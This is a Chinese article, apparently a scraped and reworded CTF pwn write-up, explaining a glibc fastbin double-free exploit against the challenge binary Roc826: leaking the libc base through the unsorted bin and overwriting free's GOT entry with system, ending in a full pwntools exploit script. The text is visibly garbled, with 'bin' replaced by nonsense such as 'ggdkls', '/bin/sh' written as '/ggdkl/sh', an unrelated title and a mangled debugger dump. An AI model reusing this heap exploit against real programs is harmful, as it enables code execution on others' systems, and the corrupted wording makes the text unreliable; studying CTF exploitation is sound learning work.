首页 > 编程知识 正文

boundary diagram,diag是什么矩阵

时间:2023-05-06 08:59:55 阅读:173634 作者:3609

堆栈方向的双重资源分配(pwn )问题环境什么是双重自由未分配的ggdklsroc 826最后

我在一个博客上看到了堆积如山的问题。 博主说是入门者。 嗯,那很适合我。 所以,我花了一个星期终于得出了结果。

看看我遭遇了什么

另外,希望在阅读本文之前了解堆的数据结构

问题环境Ubuntu 20.04.3 LTS,这是我在微软商店下载的子系统,也是一切邪恶之源的开始

主题: Roc826

什么是double free? 在那之前,你希望你已经知道什么是栈。

所谓double free,就是对一座山做两次free

在山里,free后面有这么多行踪

ggdkls解释了tcacheggdkls的存在和glibc2.7以上。 他的优先级高于fastggdkls fastggdkls是单个链表,保存着几个固定长度的解放堆unsortedgdkl是不在前两个存储范围内的解放堆,smallggdkls和larartedgdkl

根据大多数double free的介绍,使用最多的是第一个free,堆进入fastggdkls,在第二个free后改变fd指针的方向。

做题时,我的子系统版本太高,glibc的版本是2.31,所以存在tcacheggdkls,也就是说free之后的堆不能进入fastggdkls

例如int main () void*a=malloc )0x60 ); void*b=malloc(0x60 ); free(a ); free(b ); free(a ); 返回0; }执行两次gdb调试、malloc

查看当前堆

allocated chunk|prev _ inuse addr 33600 x 8005290 size 33600 x71 allocated chunk|prev _ inuse addr 3600 x 8005300 size 33600 x 71随访

从结果来看,第一个堆的状态为free,位于tcache

freechunk(tcache )|prev _ inuse addr 33600 x 8005290 size 33600 x71 FD :0 x 00 allocated chunk|prev _ inuse addr 3600 x 8005300

PWNDBGggdklstcacheggdkls0x70[1] 33600 x 80052 a 0—0x0fastggdkls0x 20:0 x 00 x 00 x 4033600 x 00 x 50336000 x 0:00 x 0:000 x 0:000 x 0:0360000 x 0:000000 x 00 x 0:3600000000 x 00 x 00 x 00 x 00 x 0000000 x 00 x 00 x 00 x 0333333 tcacheggdkls下的堆可以进行两次free吗? 我特意试了一下。 不行。 将报告错误。 也就是说,高版本的glibc不能解决这个问题。 于是,有一天,我想到了换glibc调试。

试着用其他版本的glibc编译并运行

GCT est.c-m64-zexecstack-fno-stack-protector-no-pie-o test-wl,--rpath=dir/-Wl,--dynamic-linkkkkk

pwndBGheapfreechunk(FastGGDKLS ) prev _ inuse addr 33600 x 405000 size :0 x71 FD 33600 x 00 allocated chunk|prev _ inuse addr 330

pwndbggdklsfastggdkls0x 2033600 x 00 x 3033600 x 00 x 50:0 x 00 x 60336000 x 00 x 70:00 x 405000—0x 000 x 80:00 x0 unsorted ggid

0x70:0x405070 —0x405000 —0x0此时的fastggdkls大致如下: (fastggdkls是头插) ) )。

double free现在让我们来看看double free。 根据前面演示的free,free进入fastggdkls后形成的是一个单链表,运行free(b )后,b的软盘指针指向a,a的软盘指向空指针或空指针。

那么,如果对a进一步执行free,a的fd就会指向b

ggdkls如下所示

0x70:0x405000 —0x

405070 ◂— 0x405000

结构大致如下
由于a的fd改变了并且指向b,那么尾部那个a的fd也会改变,因为他们是同一个。
此时有两个疑问

a的fd指向b有用吗?怎么利用?

首先,a的fd指向b在这里没有什么意义,利用方式是malloc(a),然后修改a中fd的那个字段,那么对于上图最后那个a就会指向修改过后的一个地址。
如果修改的这个值是内存中的一个地址,那么就有机会在这个地址开辟堆空间,并写数据。

好了,到这里应该差不多知道double free的意义了,就是为了在两次free后控制它的fd字段,进而去控制一块内存空间

演示一下修改这个fd

首先看看fd在哪

可以看到fd的位置前八个字节(0x405000这开始的10个字节不是这个堆的数据部分)
现在修改fd字段,修改为如下片段

int *a = malloc(0x60); void *b = malloc(0x60); free(a); free(b); free(a); *a = 0x11111111;

运行后查看a的堆空间,可以看到该字段修改为自己想要的值了

有了double free我们能够对任意可写地址进行写操作,那么我们可以修改got表中某函数的地址为system的地址,从而就能够调用system函数了

unsorted ggdkls

知道了double free用法后,来看看unsorted ggdkls
double free是最终的利用,但在此之前我们不知道system函数在哪,就需要知道libc基地址,这里就需要借助unsorted ggdkls来得到libc的基地址了

首先unsorted ggdkls存储的是超过了fastggdkls设定的堆大小的wsddb
使用如下例子,为a分配0x80大小,但实际堆空间有0x90

这里需要注意unsorted ggdkls在堆释放时会进行前后wsddb合并,因此需要再申请一个堆空间给b,让a的堆空间与wsddb空间隔离开,保证free(a)后不合并。

int main(){ void *a = malloc(0x80); void *b = malloc(0x80); free(a); return 0;}

运行后查看ggdkls,可以看到进入了unsorted ggdkls中

此外还能看到指向的地址0x7fffff3f4b78 (main_arena+88),其中main_arena是malloc实现过程中的一个结构体,他是存在于libc库中的,我们可以通过这个地址来获取libc的基地址
main_arena在libc中的malloc_trim中有使用,如下面的dword_3C4B20

他在我这里使用的libc版本中的地址如下

data:00000000003C4B20 dword_3C4B20 那么libc的基地址 = addr(main_arena+88) - 88 - addr(dword_3C4B20) = 0x7fffff3f4b78 - 88 - 0x3C4B20 = 0x7fffff030000

验证一下,查看vmmap,基地址正确

好了,到现在libc基地址有了,我们也能控制got表,那么就能拿到shell了
接下来看看我做的这道题吧。。。

Roc826

ida查看一下主函数

menu是菜单,readi返回终端输入的数字这两个不说了
先看看add函数
list是存放申请得到的堆的地址的一个数组,我们来添加两个堆看看

def add(size, context = 'aaaaaaaa'): p.recvuntil(':') p.sendline('1') p.recvline() p.sendline(str(size)) p.recvuntil(':') p.sendline(context)add(0x10)add(0x10)

之后查看list,看到两个堆的地址

add函数开辟堆空间,将堆地址保存到list中,同时通过read_n写入content

然后来看看dele函数
首先读取需要删除的序号,然后判断list数组中该处是否为空,然后才执行free操作
那么问题来了

if ( (&list)[v1] )

这一句,只是判断list中是否有值,也就是list[v1]是否为空,并不能判断该处的堆是否是空闲,并且free只对堆空间进行操作,不会堆list造成影响
也就是说我执行free后,list数组是没有变化的,那么我就能够进行多次free操作
看看下面执行后,查看一下list

def dele(id): p.recvuntil(':') p.sendline('2') p.recvline() p.sendline(str(id))add(0x10)add(0x10)dele(0)

能够发现的是list[0]处还是原来堆的地址

那么我们就可以对该堆进行二次释放,从而可以实现double free了,再用add函数就可以修改fd指向,并进行任意地址写。

现在还差一点,就是获取libc基地址,来看看最后一个函数show

show函数会打印content内容,也就是从堆地址开始到00截断的内容
那么我们可以用它来打印出main_arena + 88的地址了,也就是打印出free后进入unsorted ggdkls的那个堆的内容

那么这道题的思路就是

malloc一个超过fastggdkls的堆大小malloc两个free后能进入fastggdkls的堆,来实现double free接着先free第一个堆,然后使用show函数打印出main_arena+88的地址,算出libc基地址利用double free修改got表,这里修改free的地址指向了system再次申请一个堆,存放“/ggdkl/sh”指向dele操作,从而 执行system("/ggdkl/sh")

首先得到libc基地址,操作如下

def show(id): p.recvuntil(':') p.sendline('3') p.recvline() p.sendline(str(id)) p.recvuntil('content:')add(0x80)add(0x58)dele(0)show(0)libc_base = u64(p.recv(6).ljust(8, b'0')) - 88 - 0x3c4b20print(hex(libc_base))

输出结果 0x7f17c1a70000

接着进行double free,

add(0x58)add(0x58)dele(1)dele(2)dele(1)debug()

查看fastggdkls发现double free成功

0x60: 0x7fffe9d35090 —▸ 0x7fffe9d35000 ◂— 0x7fffe9d35090

接下来就行覆写got表中free地址

sys_addr = libc_base + libc.sym['system']free_got = elf.got['free']print(hex(free_got))add(0x58, p64(free_got - 0x1e))add(0x58)add(0x58)add(0x58, 14 * 'a' + p64(sys_addr)[:6])debug()

来解释一下为什么free_got要减去0x1e,首先free_got处是我们要覆写的地方,然而fd指针指向的是堆最开头的那个位置,也就是包含大小那一段,如果直接以free_got作为fd,那么在覆写的时候其实是从free_got + 0x10处开始写的,这样就无法覆写free了,当然,也可以去覆写在free之后的函数
另外,减去0x1e并不只是为了调整堆申请的地址,同时也是为了保证size字段与自己要添加大小要一致,否则申请堆会出错

如下,查看free_got - 0x1e处的内容,可以看到末尾两个是0x60
我们申请的堆大小是0x58,但这里需要对齐,申请得到的大小就是0x60

那么为什么一定要是0x60呢?
因为我们此时的fastggdkls是0x60这一块的,否则无法调用fastggdkls

关于0x50和0x58分配时为什么都是0x60的空间
首先0x50好理解,因为0x50是申请的数据段大小,知道堆结结构的同学知道,他前面还有0x10个字节,其中后八个字节存的是size字段
那么对于0x58呢?
其实我也不是特别清楚为什么这里只加了0x8进去,而不是加0x10,需要0x68的大小,姑且认为pre_size字段作为了前一个chunk的数据部分,所以就只加了0x8个字节

好了,free的got表被覆写了,接着就是需要执行system(“ggdkl/sh”)函数,
因此就需要假装执行free("/ggdkl/sh")

add(0x80, b'/ggdkl/sh0')dele(8)p.interactive()

另外添加一个堆,内容是“/ggdkl/sh”
接着调用dele执行free,就可以得到shell了

结果!!!!!!!!

这里我想了很久很久,最终我给自己的解释是,libc版本问题
虽然我指定了libc本版来调试,但不代表之后用的这个libc
所以
我换了个ubuntu16的环境
然后就可以了

最后

这道题搞了我很久,心态炸过好几次,很多原因都是因为版本问题还有一些细节问题,希望各位能够看懂,也希望能够解决各位的一点困惑,欢迎提问。

附上exp

from pwn import *#p = process(["./ld-2.23.so", "./Roc826"],env={"LD_PRELOAD":"./libc.so.6"})p = process("./Roc826")elf = ELF('./Roc826')libc = ELF('./libc.so.6')def debug(): gdb.attach(p)def add(size, context = b'aaaaaaaa'): p.recvuntil(b':') p.sendline(b'1') p.recvline() p.sendline(str(size)) p.recvuntil(b':') p.sendline(context)def dele(id): p.recvuntil(b':') p.sendline(b'2') p.recvline() p.sendline(str(id))def show(id): p.recvuntil(b':') p.sendline(b'3') p.recvline() p.sendline(str(id)) p.recvuntil(b'content:')add(0x80)add(0x58)dele(0)show(0)libc_base = u64(p.recv(6).ljust(8, b'0')) - 88 - 0x3c4b20print(hex(libc_base))add(0x58)add(0x58)dele(1)dele(2)dele(1)sys_addr = libc_base + libc.sym['system']free_got = elf.got['free']print(hex(sys_addr))add(0x58, p64(free_got - 0x1e))print(hex(free_got - 0x10))add(0x58)add(0x58)debug()add(0x58,14 * b'a' + p64(sys_addr)[:6])add(0x80, b'/ggdkl/sh0')debug()dele(8)p.interactive()

版权声明:该文观点仅代表作者本人。处理文章:请发送邮件至 三1五14八八95#扣扣.com 举报,一经查实,本站将立刻删除。